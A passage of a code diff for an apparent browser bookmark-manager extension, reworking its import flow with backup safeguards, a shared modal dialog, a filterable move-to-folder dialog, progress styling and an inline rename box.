options.mode === 'replace'
|
||||
? { kind: 'backing-up', filename }
|
||||
@@ -76,21 +104,18 @@
|
||||
prepared: current,
|
||||
mode: options.mode,
|
||||
dedupe: options.dedupe,
|
||||
newFolderTitle: t('import.folderName', { date: formatFolderDate(now) }),
|
||||
newFolderTitle: folder,
|
||||
backupFilename,
|
||||
backupDescription: t('import.backupFileType'),
|
||||
now,
|
||||
signal,
|
||||
onProgress: (progress) => {
|
||||
setImportState({ kind: 'writing', filename, progress });
|
||||
},
|
||||
// Backup proven; deletion starts now. No Cancel is offered here — the
|
||||
// button used to stay live through the whole delete, letting a user
|
||||
// cancel and be told "0 items created" after their tree was wiped.
|
||||
//
|
||||
// This callback is also the ONLY signal that the backup exists: it runs
|
||||
// immediately after `proveBackup` returned, and nothing else does.
|
||||
onClearing: () => {
|
||||
backupProven = true;
|
||||
// The ONLY signal that the backup exists. No Cancel is offered while the
|
||||
// tree is being deleted: it used to stay live and report "0 created".
|
||||
onClearing: (name) => {
|
||||
savedAs = name;
|
||||
setImportState({ kind: 'clearing', filename });
|
||||
},
|
||||
confirmUnprovenBackup: () => {
|
||||
@@ -100,57 +125,49 @@
|
||||
});
|
||||
setImportState({ kind: 'done', filename, created: outcome.created, plan: outcome.plan });
|
||||
} catch (err) {
|
||||
// A backup filename appears only when the backup really exists — never
|
||||
// for a failure before it, which would send a frightened user looking
|
||||
// for a file that was never written.
|
||||
const backup = savedAs === undefined ? {} : { backupFilename: savedAs };
|
||||
if (err instanceof BmAborted) {
|
||||
setImportState({
|
||||
kind: 'cancelled',
|
||||
filename,
|
||||
created: err.done,
|
||||
// A cancel AFTER the clear is not "nothing happened": the tree is
|
||||
// gone and only `created` of it has been rebuilt. Saying "N items
|
||||
// created" alone reads as a harmless no-op on an empty browser.
|
||||
...(backupProven ? { backupFilename } : {}),
|
||||
});
|
||||
setImportState({ kind: 'cancelled', filename, created: err.done, where, ...backup });
|
||||
return;
|
||||
}
|
||||
setImportState({
|
||||
kind: 'error',
|
||||
filename,
|
||||
...describeError(err),
|
||||
// `backupProven`, not "mode was replace and this is not a BmBackupError".
|
||||
// `runImport` resolves the roots BEFORE proving the backup, so a failure
|
||||
// there — a policy-managed profile raising NO_WRITABLE_ROOTS, say —
|
||||
// reaches this catch with no file on disk. Telling a frightened user to
|
||||
// restore a backup that was never written is worse than saying nothing.
|
||||
...(backupProven ? { backupFilename } : {}),
|
||||
});
|
||||
setImportState({ kind: 'error', filename, ...describeError(err), where, ...backup });
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* ISO date + local time, matching the `import.folderName` key (docs/07 §3).
|
||||
*
|
||||
* Deliberately NOT run through Intl, unlike every count in this file: docs/07
|
||||
* §3 pins the folder name to the localized *word* plus an ISO date
|
||||
* (`Đã nhập 2026-07-03`). Localizing it here would change the names of
|
||||
* bookmark folders this extension creates in the user's browser.
|
||||
*/
|
||||
function formatFolderDate(now: Date): string {
|
||||
const pad = (n: number): string => String(n).padStart(2, '0');
|
||||
return `${now.getFullYear()}-${pad(now.getMonth() + 1)}-${pad(now.getDate())} ${pad(now.getHours())}:${pad(now.getMinutes())}`;
|
||||
}
|
||||
|
||||
</script>
|
||||
|
||||
<!-- Each step's heading takes focus as it replaces the step before, and the
|
||||
announcer speaks what changed (docs/06 §5). -->
|
||||
<ImportAnnouncer state={session} />
|
||||
<div data-focus-scope>
|
||||
{#if session.kind === 'idle'}
|
||||
<DropZone onfile={(file) => void onFile(file)} />
|
||||
<section class="panel">
|
||||
<h2 class="eyebrow" tabindex="-1" {@attach visited && focusWhenShown}>01 · {t('import.stepSource')}</h2>
|
||||
<DropZone onfile={(file) => void onFile(file)} />
|
||||
</section>
|
||||
{:else if session.kind === 'validating'}
|
||||
<p class="muted">{t('import.reading', { name: session.filename })}</p>
|
||||
<section class="panel">
|
||||
<h2 class="eyebrow" tabindex="-1" {@attach focusWhenShown}>01 · {t('import.stepSource')}</h2>
|
||||
<p class="muted mono">{t('import.reading', { name: session.filename })}</p>
|
||||
</section>
|
||||
{:else if session.kind === 'parsed'}
|
||||
<div class="split">
|
||||
<section aria-label={t('import.preview')}>
|
||||
<TreePreview roots={session.result.roots} status={prepared?.status ?? new WeakMap()} />
|
||||
<section class="panel">
|
||||
<h2 class="eyebrow" tabindex="-1" {@attach focusWhenShown}>
|
||||
02 · {t('import.preview')}
|
||||
<span class="file mono">{session.filename}</span>
|
||||
{#if prepared !== undefined}<span class="format mono">{t(`import.format.${prepared.format}`)}</span>{/if}
|
||||
</h2>
|
||||
<TreePreview
|
||||
roots={session.result.roots}
|
||||
status={prepared?.status ?? new WeakMap()}
|
||||
label={t('import.preview')}
|
||||
/>
|
||||
</section>
|
||||
<section class="side">
|
||||
<section class="panel side">
|
||||
<h2 class="eyebrow">03 · {t('import.stepOptions')}</h2>
|
||||
<StatsCard stats={session.result.stats} duplicates={session.duplicates} />
|
||||
<WarningList warnings={session.result.warnings} />
|
||||
<ImportOptions
|
||||
@@ -162,124 +179,88 @@
|
||||
<p class="muted">{t('import.dateNotice')}</p>
|
||||
<Button
|
||||
variant={options.mode === 'replace' ? 'danger' : 'primary'}
|
||||
onclick={() => void start(session.filename)}
|
||||
icon="upload"
|
||||
iconMotion="bob"
|
||||
onclick={() => onStart(session.filename)}
|
||||
>
|
||||
{t('import.start', { n: num(session.result.stats.bookmarks) })}
|
||||
{tPlural('import.start', forecast?.stats.bookmarkCount ?? session.result.stats.bookmarks)}
|
||||
</Button>
|
||||
</section>
|
||||
</div>
|
||||
{:else if session.kind === 'backing-up'}
|
||||
<Callout tone="warn">{t('import.backingUp')}</Callout>
|
||||
{:else if session.kind === 'attesting'}
|
||||
<!-- The anchor download reports nothing, so this confirmation is the only
|
||||
thing standing between the user and an unbacked-up deletion. -->
|
||||
<Callout tone="danger">{t('import.attest', { name: session.backupFilename })}</Callout>
|
||||
<div class="actions">
|
||||
<Button variant="danger" onclick={() => answerAttestation(true)}>
|
||||
{t('import.attestConfirm')}
|
||||
</Button>
|
||||
<Button onclick={() => answerAttestation(false)}>{t('common.cancel')}</Button>
|
||||
</div>
|
||||
{:else if session.kind === 'clearing'}
|
||||
<Callout tone="danger">{t('import.clearing')}</Callout>
|
||||
{:else if session.kind === 'writing'}
|
||||
<div class="writing">
|
||||
<ProgressBar
|
||||
done={session.progress.done}
|
||||
total={session.progress.total}
|
||||
label={t('common.import')}
|
||||
/>
|
||||
<p class="muted">
|
||||
{t('import.progress', { done: num(session.progress.done), total: num(session.progress.total) })}
|
||||
{#if session.progress.currentPath !== ''}<span class="path">{session.progress.currentPath}</span>{/if}
|
||||
</p>
|
||||
<Callout tone="warn">{t('import.keepTabOpen')}</Callout>
|
||||
<Button onclick={cancelWrite}>{t('common.cancel')}</Button>
|
||||
</div>
|
||||
{:else if session.kind === 'done'}
|
||||
<Callout tone="success">{t('import.doneSummary', { created: num(session.created) })}</Callout>
|
||||
<p class="muted">
|
||||
{t('import.skipped', {
|
||||
existing: num(session.plan.stats.skippedExisting),
|
||||
inFile: num(session.plan.stats.skippedInFile),
|
||||
<ConfirmDialog
|
||||
open={confirmingReplace}
|
||||
danger
|
||||
title={t('import.replaceConfirmTitle')}
|
||||
body={t('import.replaceConfirmBody', {
|
||||
current: counts(prepared?.current.bookmarks ?? 0, prepared?.current.folders ?? 0),
|
||||
incoming: counts(forecast?.stats.bookmarkCount ?? 0, forecast?.stats.folderCount ?? 0),
|
||||
name: session.filename,
|
||||
})}
|
||||
</p>
|
||||
<p class="muted">{t('import.dateNotice')}</p>
|
||||
<div class="actions">
|
||||
<Button variant="primary" onclick={() => navigate('edit')}>{t('import.openEdit')}</Button>
|
||||
<Button
|
||||
onclick={resetImport}>{t('import.another')}</Button
|
||||
>
|
||||
</div>
|
||||
{:else if session.kind === 'cancelled'}
|
||||
<Callout tone="warn">{t('import.cancelledSummary', { created: num(session.created) })}</Callout>
|
||||
{#if session.backupFilename !== undefined}
|
||||
<Callout tone="danger">{t('import.cancelledAfterClear')}</Callout>
|
||||
<p class="muted">{t('import.backupHint', { name: session.backupFilename })}</p>
|
||||
{/if}
|
||||
<p class="muted">{t('import.dateNotice')}</p>
|
||||
<Button
|
||||
onclick={resetImport}>{t('import.another')}</Button
|
||||
>
|
||||
{:else if session.kind === 'error'}
|
||||
<ErrorCallout messageKey={session.messageKey} detail={session.detail} />
|
||||
{#if session.created !== undefined && session.created > 0}
|
||||
<p class="muted">{t('import.partialCreated', { created: num(session.created) })}</p>
|
||||
{/if}
|
||||
{#if session.removed !== undefined && session.removed > 0}
|
||||
<Callout tone="danger">{t('import.partialCleared', { removed: num(session.removed) })}</Callout>
|
||||
{/if}
|
||||
{#if session.backupFilename !== undefined}
|
||||
<p class="muted">{t('import.backupHint', { name: session.backupFilename })}</p>
|
||||
{/if}
|
||||
<Button
|
||||
onclick={resetImport}>{t('import.another')}</Button
|
||||
>
|
||||
confirmLabel={t('import.replaceConfirm')}
|
||||
cancelLabel={t('common.cancel')}
|
||||
onconfirm={() => void start(session.filename)}
|
||||
oncancel={() => (confirmingReplace = false)}
|
||||
/>
|
||||
{:else if session.kind === 'done' || session.kind === 'cancelled' || session.kind === 'error'}
|
||||
<ImportReport state={session} />
|
||||
{:else}
|
||||
<ImportProgress phase={session} />
|
||||
{/if}
|
||||
</div>
|
||||
|
||||
<style>
|
||||
.panel {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: var(--sp-3);
|
||||
min-width: 0;
|
||||
}
|
||||
|
||||
h2 {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
align-items: center;
|
||||
gap: var(--sp-2);
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
.file,
|
||||
.format {
|
||||
font-weight: 400;
|
||||
letter-spacing: 0;
|
||||
text-transform: none;
|
||||
padding: 0 6px;
|
||||
border: 1px solid var(--border);
|
||||
border-radius: var(--radius-sm);
|
||||
background: var(--bg-sunken);
|
||||
max-width: 32ch;
|
||||
overflow: hidden;
|
||||
text-overflow: ellipsis;
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
.format {
|
||||
color: var(--accent);
|
||||
border-color: var(--accent);
|
||||
background: var(--accent-subtle);
|
||||
}
|
||||
|
||||
.split {
|
||||
display: grid;
|
||||
grid-template-columns: 1fr 360px;
|
||||
grid-template-columns: minmax(0, 1fr) var(--width-side);
|
||||
gap: var(--sp-5);
|
||||
align-items: start;
|
||||
}
|
||||
|
||||
@media (max-width: 780px) {
|
||||
@media (max-width: 820px) {
|
||||
.split {
|
||||
grid-template-columns: 1fr;
|
||||
}
|
||||
}
|
||||
|
||||
.side {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: var(--sp-3);
|
||||
}
|
||||
|
||||
.writing {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: var(--sp-3);
|
||||
}
|
||||
|
||||
.muted {
|
||||
color: var(--fg-muted);
|
||||
font-size: var(--fs-1);
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
.path {
|
||||
display: block;
|
||||
overflow: hidden;
|
||||
text-overflow: ellipsis;
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
.actions {
|
||||
display: flex;
|
||||
gap: var(--sp-2);
|
||||
margin-top: var(--sp-3);
|
||||
}
|
||||
|
||||
</style>
|
||||
@@ -2,6 +2,7 @@
|
||||
import { t } from '../i18n/index.svelte';
|
||||
import type { Locale } from '../i18n/resolve-locale';
|
||||
import { LOCALE_CHOICES, parseChoice } from '../settings/options';
|
||||
import Icon from './icons/Icon.svelte';
|
||||
|
||||
interface Props {
|
||||
/**
|
||||
@@ -25,6 +26,7 @@
|
||||
</script>
|
||||
|
||||
<label class:compact>
|
||||
{#if compact}<Icon name="globe" size={14} />{/if}
|
||||
<span class="label">{t('settings.language')}</span>
|
||||
<select
|
||||
aria-label={compact ? t('settings.language') : undefined}
|
||||
@@ -55,10 +57,15 @@
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
.compact {
|
||||
color: var(--fg-muted);
|
||||
}
|
||||
|
||||
select {
|
||||
font: inherit;
|
||||
padding: var(--sp-1) var(--sp-2);
|
||||
border: 1px solid var(--border);
|
||||
font-size: var(--fs-1);
|
||||
padding: 5px var(--sp-2);
|
||||
border: 1px solid var(--border-strong);
|
||||
border-radius: var(--radius-sm);
|
||||
background: var(--bg);
|
||||
color: var(--fg);
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
<script lang="ts">
|
||||
import Icon from './icons/Icon.svelte';
|
||||
import { t } from '../i18n/index.svelte';
|
||||
import { LEGAL_URLS } from '../links';
|
||||
import { acceptLegal, type LegalStatus } from '../stores/legal.svelte';
|
||||
@@ -94,7 +95,7 @@
|
||||
<ul>
|
||||
{#each LEGAL_URLS as link (link.url)}
|
||||
<li>
|
||||
<a href={link.url} target="_blank" rel="noopener noreferrer">{t(link.labelKey)} ↗</a>
|
||||
<a href={link.url} target="_blank" rel="noopener noreferrer">{t(link.labelKey)}<Icon name="external" size={12} /></a>
|
||||
</li>
|
||||
{/each}
|
||||
</ul>
|
||||
@@ -132,9 +133,11 @@
|
||||
max-width: 56ch;
|
||||
margin: 0 auto;
|
||||
padding: var(--sp-5);
|
||||
border: 1px solid var(--border);
|
||||
border: 1px solid var(--border-strong);
|
||||
border-top: 3px solid var(--accent);
|
||||
border-radius: var(--radius);
|
||||
background: var(--bg-raised);
|
||||
box-shadow: var(--shadow-1);
|
||||
}
|
||||
|
||||
header {
|
||||
@@ -150,7 +153,12 @@
|
||||
|
||||
h2 {
|
||||
margin: var(--sp-2) 0 0;
|
||||
font-size: var(--fs-2);
|
||||
font-family: var(--font-mono);
|
||||
font-size: var(--fs-0);
|
||||
font-weight: 600;
|
||||
letter-spacing: 0.08em;
|
||||
text-transform: uppercase;
|
||||
color: var(--fg-muted);
|
||||
}
|
||||
|
||||
.summary {
|
||||
@@ -184,11 +192,12 @@
|
||||
|
||||
.detail {
|
||||
margin: 0;
|
||||
padding: var(--sp-2);
|
||||
border: 1px solid var(--border);
|
||||
padding: var(--sp-2) var(--sp-3);
|
||||
border: 1px solid var(--border-strong);
|
||||
border-radius: var(--radius-sm);
|
||||
background: var(--bg);
|
||||
background: var(--bg-sunken);
|
||||
color: var(--fg-muted);
|
||||
font-family: var(--font-mono);
|
||||
font-size: var(--fs-0);
|
||||
white-space: pre-wrap;
|
||||
overflow-x: auto;
|
||||
|
||||
@@ -0,0 +1,207 @@
|
||||
<script lang="ts">
|
||||
/**
|
||||
* The one modal every dialog is built on — docs/06 §5.
|
||||
*
|
||||
* A native `<dialog>` opened with `showModal()`: focus trap, inert page, Esc
|
||||
* and top-layer stacking come from the browser, with no library. What this
|
||||
* adds is the bookkeeping 1.0.x got wrong in each dialog separately:
|
||||
* - focus returns to whatever had it before the dialog opened;
|
||||
* - `oncancel` fires for Esc, the backdrop and a programmatic close only
|
||||
* when the CALLER did not close it — confirming no longer also ran the
|
||||
* cancel handler a moment later (uL13);
|
||||
* - "Move to…" was a positioned `<div>` that keyboard focus never entered.
|
||||
*/
|
||||
import type { Snippet } from 'svelte';
|
||||
import { t } from '../i18n/index.svelte';
|
||||
import Icon from './icons/Icon.svelte';
|
||||
|
||||
interface Props {
|
||||
open: boolean;
|
||||
/** Accessible name and visible heading. */
|
||||
title: string;
|
||||
/** Selector, inside the dialog, of what to focus on open. Defaults to the first control. */
|
||||
initialFocus?: string;
|
||||
danger?: boolean;
|
||||
wide?: boolean;
|
||||
/**
|
||||
* Point `aria-describedby` at the body, so a screen reader reads it with
|
||||
* the title — the counts in a confirmation live there. Off for bodies
|
||||
* that are a control (Move to…'s folder list is no description).
|
||||
*/
|
||||
describe?: boolean;
|
||||
oncancel: () => void;
|
||||
children: Snippet;
|
||||
actions?: Snippet;
|
||||
}
|
||||
|
||||
let {
|
||||
open,
|
||||
title,
|
||||
initialFocus,
|
||||
danger = false,
|
||||
wide = false,
|
||||
describe = false,
|
||||
oncancel,
|
||||
children,
|
||||
actions,
|
||||
}: Props = $props();
|
||||
|
||||
// Several dialogs share a page; each needs its own heading id.
|
||||
const titleId = $props.id();
|
||||
const bodyId = `${titleId}-body`;
|
||||
let dialog: HTMLDialogElement | undefined = $state();
|
||||
let returnTo: HTMLElement | null = null;
|
||||
/** True while WE are closing it, so the native `close` event is not a cancel. */
|
||||
let closingByProp = false;
|
||||
|
||||
$effect(() => {
|
||||
const el = dialog;
|
||||
if (el === undefined) return;
|
||||
if (open && !el.open) {
|
||||
returnTo = document.activeElement instanceof HTMLElement ? document.activeElement : null;
|
||||
el.showModal();
|
||||
const target =
|
||||
(initialFocus === undefined ? null : el.querySelector<HTMLElement>(initialFocus)) ??
|
||||
el.querySelector<HTMLElement>('input, select, textarea, button:not([data-dismiss])');
|
||||
target?.focus();
|
||||
} else if (!open && el.open) {
|
||||
closingByProp = true;
|
||||
el.close();
|
||||
}
|
||||
});
|
||||
|
||||
function onClose(): void {
|
||||
const byProp = closingByProp;
|
||||
closingByProp = false;
|
||||
// Focus goes back to where it came from, if that is still in the page.
|
||||
if (returnTo?.isConnected === true) returnTo.focus();
|
||||
returnTo = null;
|
||||
if (!byProp) oncancel();
|
||||
}
|
||||
|
||||
function onBackdrop(event: MouseEvent): void {
|
||||
// A click on the ::backdrop lands on the dialog element itself.
|
||||
if (event.target === dialog) dialog?.close();
|
||||
}
|
||||
</script>
|
||||
|
||||
<!-- svelte-ignore a11y_click_events_have_key_events, a11y_no_noninteractive_element_interactions -->
|
||||
<dialog
|
||||
bind:this={dialog}
|
||||
class:danger
|
||||
class:wide
|
||||
aria-labelledby={titleId}
|
||||
aria-describedby={describe ? bodyId : undefined}
|
||||
onclose={onClose}
|
||||
onclick={onBackdrop}
|
||||
>
|
||||
<header>
|
||||
<h2 id={titleId}>{title}</h2>
|
||||
<!-- Named "Dismiss", not after the dialog: read as "Delete this item?",
|
||||
a button that cancels said the opposite of what it does. -->
|
||||
<button
|
||||
type="button"
|
||||
class="dismiss"
|
||||
data-dismiss
|
||||
aria-label={t('common.dismiss')}
|
||||
onclick={() => dialog?.close()}
|
||||
>
|
||||
<Icon name="close" size={16} />
|
||||
</button>
|
||||
</header>
|
||||
<div class="body" id={bodyId}>
|
||||
{@render children()}
|
||||
</div>
|
||||
{#if actions !== undefined}
|
||||
<footer>{@render actions()}</footer>
|
||||
{/if}
|
||||
</dialog>
|
||||
|
||||
<style>
|
||||
dialog {
|
||||
width: min(44ch, calc(100vw - 2 * var(--sp-4)));
|
||||
max-height: min(80vh, 640px);
|
||||
padding: 0;
|
||||
border: 1px solid var(--border-strong);
|
||||
border-radius: var(--radius);
|
||||
background: var(--bg);
|
||||
color: var(--fg);
|
||||
box-shadow: var(--shadow-2);
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
dialog[open] {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
}
|
||||
|
||||
.wide {
|
||||
width: min(64ch, calc(100vw - 2 * var(--sp-4)));
|
||||
}
|
||||
|
||||
.danger {
|
||||
border-top: 3px solid var(--danger);
|
||||
}
|
||||
|
||||
dialog::backdrop {
|
||||
background: rgb(10 12 16 / 55%);
|
||||
}
|
||||
|
||||
header {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: space-between;
|
||||
gap: var(--sp-3);
|
||||
padding: var(--sp-3) var(--sp-4);
|
||||
border-bottom: 1px solid var(--border);
|
||||
background: var(--bg-raised);
|
||||
}
|
||||
|
||||
h2 {
|
||||
margin: 0;
|
||||
font-size: var(--fs-2);
|
||||
font-weight: 600;
|
||||
}
|
||||
|
||||
.dismiss {
|
||||
display: inline-flex;
|
||||
background: none;
|
||||
border: none;
|
||||
border-radius: var(--radius-sm);
|
||||
color: var(--fg-muted);
|
||||
cursor: pointer;
|
||||
padding: 2px;
|
||||
}
|
||||
|
||||
.dismiss:hover {
|
||||
color: var(--fg);
|
||||
}
|
||||
|
||||
.body {
|
||||
padding: var(--sp-4);
|
||||
overflow: auto;
|
||||
font-size: var(--fs-1);
|
||||
}
|
||||
|
||||
footer {
|
||||
display: flex;
|
||||
justify-content: flex-end;
|
||||
gap: var(--sp-2);
|
||||
padding: var(--sp-3) var(--sp-4);
|
||||
border-top: 1px solid var(--border);
|
||||
background: var(--bg-raised);
|
||||
}
|
||||
|
||||
@media (prefers-reduced-motion: no-preference) {
|
||||
dialog[open] {
|
||||
animation: rise var(--dur-2) var(--ease);
|
||||
}
|
||||
|
||||
@keyframes rise {
|
||||
from {
|
||||
opacity: 0;
|
||||
transform: translateY(6px) scale(0.99);
|
||||
}
|
||||
}
|
||||
}
|
||||
</style>
|
||||
@@ -1,84 +1,120 @@
|
||||
<script lang="ts">
|
||||
import { displayTitle } from '../edit/edit-node';
|
||||
import type { MoveTarget } from '../edit/move-target';
|
||||
import type { EditNode } from '../edit/patch-tree';
|
||||
import { t } from '../i18n/index.svelte';
|
||||
import Button from './Button.svelte';
|
||||
import Icon from './icons/Icon.svelte';
|
||||
import Modal from './Modal.svelte';
|
||||
|
||||
interface Props {
|
||||
/** The node being moved. Rendering is caller-gated on this existing. */
|
||||
node: EditNode;
|
||||
/** The node being moved; `undefined` keeps the dialog closed. */
|
||||
node: EditNode | undefined;
|
||||
targets: readonly MoveTarget[];
|
||||
onpick: (parentId: string) => void;
|
||||
oncancel: () => void;
|
||||
}
|
||||
|
||||
let { node, targets, onpick, oncancel }: Props = $props();
|
||||
|
||||
let filter = $state('');
|
||||
const shown = $derived.by(() => {
|
||||
const needle = filter.trim().toLowerCase();
|
||||
return needle === '' ? targets : targets.filter((target) => target.label.toLowerCase().includes(needle));
|
||||
});
|
||||
|
||||
// A fresh filter every time the dialog opens for another node.
|
||||
$effect(() => {
|
||||
if (node !== undefined) filter = '';
|
||||
});
|
||||
</script>
|
||||
|
||||
<!-- Keyboard parity for drag & drop (docs/06 §3.3): every move reachable
|
||||
without a mouse. -->
|
||||
<div class="move-to" role="dialog" aria-label={t('edit.moveTo')}>
|
||||
<p>{t('edit.moveToBody', { title: node.title })}</p>
|
||||
without a mouse, from a real modal that focus enters and Esc leaves. -->
|
||||
<Modal open={node !== undefined} title={t('edit.moveTo')} wide {oncancel}>
|
||||
<p class="lead">{t('edit.moveToBody', { title: displayTitle(node, t('edit.untitled')) })}</p>
|
||||
<input
|
||||
class="filter"
|
||||
type="search"
|
||||
placeholder={t('edit.filterFolders')}
|
||||
aria-label={t('edit.filterFolders')}
|
||||
bind:value={filter}
|
||||
/>
|
||||
<!-- The list exists only while the dialog is open: a closed <dialog> still
|
||||
renders its content, and this one can hold every folder in the profile. -->
|
||||
{#if node !== undefined}
|
||||
<ul>
|
||||
{#each targets as target (target.id)}
|
||||
<li><button onclick={() => onpick(target.id)}>{target.label}</button></li>
|
||||
{#each shown as target (target.id)}
|
||||
<li>
|
||||
<button style:padding-left="calc({target.depth - 1} * 14px + var(--sp-2))" onclick={() => onpick(target.id)}>
|
||||
<Icon name="folder" size={14} />
|
||||
<span class="label">{target.label}</span>
|
||||
</button>
|
||||
</li>
|
||||
{/each}
|
||||
{#if targets.length === 0}
|
||||
<li class="muted">{t('edit.noMoveTargets')}</li>
|
||||
{#if shown.length === 0}
|
||||
<li class="muted">{t(targets.length === 0 ? 'edit.noMoveTargets' : 'edit.noMatches')}</li>
|
||||
{/if}
|
||||
</ul>
|
||||
<Button onclick={oncancel}>{t('common.cancel')}</Button>
|
||||
</div>
|
||||
{/if}
|
||||
</Modal>
|
||||
|
||||
<style>
|
||||
/* Copied verbatim from EditTab — this is a move, not a redesign. */
|
||||
.move-to {
|
||||
position: fixed;
|
||||
inset-block-end: var(--sp-4);
|
||||
inset-inline-end: var(--sp-4);
|
||||
width: min(360px, calc(100vw - var(--sp-6)));
|
||||
max-height: 60vh;
|
||||
overflow: auto;
|
||||
background: var(--bg);
|
||||
border: 1px solid var(--accent);
|
||||
border-radius: var(--radius);
|
||||
padding: var(--sp-3);
|
||||
box-shadow: 0 8px 32px rgb(0 0 0 / 0.25);
|
||||
}
|
||||
|
||||
.move-to p {
|
||||
margin: 0 0 var(--sp-2);
|
||||
font-size: var(--fs-1);
|
||||
.lead {
|
||||
margin: 0 0 var(--sp-3);
|
||||
color: var(--fg-muted);
|
||||
}
|
||||
|
||||
.move-to ul {
|
||||
.filter {
|
||||
width: 100%;
|
||||
font: inherit;
|
||||
padding: 6px var(--sp-2);
|
||||
margin-bottom: var(--sp-3);
|
||||
color: var(--fg);
|
||||
background: var(--bg-sunken);
|
||||
border: 1px solid var(--border-strong);
|
||||
border-radius: var(--radius-sm);
|
||||
}
|
||||
|
||||
ul {
|
||||
list-style: none;
|
||||
margin: 0 0 var(--sp-3);
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 2px;
|
||||
gap: 1px;
|
||||
max-height: 46vh;
|
||||
overflow: auto;
|
||||
}
|
||||
|
||||
.move-to button {
|
||||
font: inherit;
|
||||
button {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: var(--sp-2);
|
||||
width: 100%;
|
||||
font: inherit;
|
||||
text-align: left;
|
||||
background: none;
|
||||
border: none;
|
||||
border-radius: var(--radius-sm);
|
||||
color: var(--fg);
|
||||
cursor: pointer;
|
||||
padding: var(--sp-1) var(--sp-2);
|
||||
padding-block: var(--sp-1);
|
||||
padding-right: var(--sp-2);
|
||||
}
|
||||
|
||||
.move-to button:hover {
|
||||
background: var(--bg-raised);
|
||||
button:hover,
|
||||
button:focus-visible {
|
||||
background: var(--accent-subtle);
|
||||
}
|
||||
|
||||
.label {
|
||||
overflow: hidden;
|
||||
text-overflow: ellipsis;
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
.muted {
|
||||
color: var(--fg-muted);
|
||||
font-size: var(--fs-1);
|
||||
padding: var(--sp-2);
|
||||
}
|
||||
</style>
|
||||
@@ -38,24 +38,46 @@
|
||||
|
||||
.track {
|
||||
flex: 1;
|
||||
height: 8px;
|
||||
border-radius: 999px;
|
||||
background: var(--bg-raised);
|
||||
border: 1px solid var(--border);
|
||||
height: 10px;
|
||||
border-radius: var(--radius-sm);
|
||||
background: var(--bg-sunken);
|
||||
border: 1px solid var(--border-strong);
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
/* Diagonal stripes say "working" even when the number stops moving between
|
||||
progress events; they only travel when motion is welcome. */
|
||||
.fill {
|
||||
height: 100%;
|
||||
background: var(--accent);
|
||||
transition: width 120ms linear;
|
||||
background-color: var(--accent);
|
||||
background-image: repeating-linear-gradient(
|
||||
-45deg,
|
||||
transparent 0 6px,
|
||||
rgb(255 255 255 / 18%) 6px 12px
|
||||
);
|
||||
background-size: 17px 17px;
|
||||
}
|
||||
|
||||
.status {
|
||||
margin: 0;
|
||||
font-family: var(--font-mono);
|
||||
font-variant-numeric: tabular-nums;
|
||||
color: var(--fg-muted);
|
||||
font-size: var(--fs-1);
|
||||
min-width: 3.5ch;
|
||||
min-width: 4.5ch;
|
||||
text-align: right;
|
||||
}
|
||||
|
||||
@media (prefers-reduced-motion: no-preference) {
|
||||
.fill {
|
||||
transition: width var(--dur-1) linear;
|
||||
animation: stripes 900ms linear infinite;
|
||||
}
|
||||
|
||||
@keyframes stripes {
|
||||
to {
|
||||
background-position: 17px 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
</style>
|
||||
@@ -0,0 +1,65 @@
|
||||
<script lang="ts">
|
||||
/**
|
||||
* A tree row's inline rename box — docs/06 §3.3 (F2, New folder). Enter and
|
||||
* blur commit, Esc cancels (uL1); after Enter or Esc, focus goes back to the
|
||||
* tree rather than to `<body>`.
|
||||
*/
|
||||
import type { EditNode } from '../edit/patch-tree';
|
||||
import { t } from '../i18n/index.svelte';
|
||||
import type { EditSession } from '../stores/edit-session.svelte';
|
||||
|
||||
interface Props {
|
||||
node: EditNode;
|
||||
session: EditSession;
|
||||
}
|
||||
|
||||
let { node, session }: Props = $props();
|
||||
|
||||
/**
|
||||
* Focus and select the box as it mounts. Svelte's `autofocus` only acts when
|
||||
* nothing else has focus — never the case after F2 (the tree has it) or New
|
||||
* folder (the toolbar button has it) — so the box opened with the cursor
|
||||
* elsewhere and every tree key was swallowed (v1.1.0 review).
|
||||
*/
|
||||
function focusOnMount(input: HTMLInputElement): void {
|
||||
input.focus();
|
||||
input.select();
|
||||
}
|
||||
|
||||
function onKeydown(event: KeyboardEvent & { currentTarget: HTMLInputElement }): void {
|
||||
event.stopPropagation();
|
||||
const input = event.currentTarget;
|
||||
// Commit or cancel FIRST: either clears `renamingId`, so the blur that
|
||||
// moving focus causes does not commit a second time.
|
||||
if (event.key === 'Enter') void session.commitRename(node.id, input.value);
|
||||
else if (event.key === 'Escape') session.renamingId = undefined;
|
||||
else return;
|
||||
const tree = input.closest('[role="tree"]');
|
||||
if (tree instanceof HTMLElement) tree.focus();
|
||||
}
|
||||
</script>
|
||||
|
||||
<input
|
||||
class="rename"
|
||||
value={node.title}
|
||||
aria-label={t('edit.rename')}
|
||||
{@attach focusOnMount}
|
||||
onkeydown={onKeydown}
|
||||
onblur={(event) => {
|
||||
// Esc already cancelled; a blur after it must not commit (uL1).
|
||||
if (session.renamingId === node.id) void session.commitRename(node.id, event.currentTarget.value);
|
||||
}}
|
||||
/>
|
||||
|
||||
<style>
|
||||
.rename {
|
||||
font: inherit;
|
||||
flex: 1;
|
||||
min-width: 0;
|
||||
background: var(--bg);
|
||||
color: var(--fg);
|
||||
border: 1px solid var(--accent);
|
||||
border-radius: var(--radius-sm);
|
||||
padding: 1px var(--sp-2);
|
||||
}
|
||||
</style>
|
||||
@@ -0,0 +1,93 @@
|
||||
<script lang="ts">
|
||||
/**
|
||||
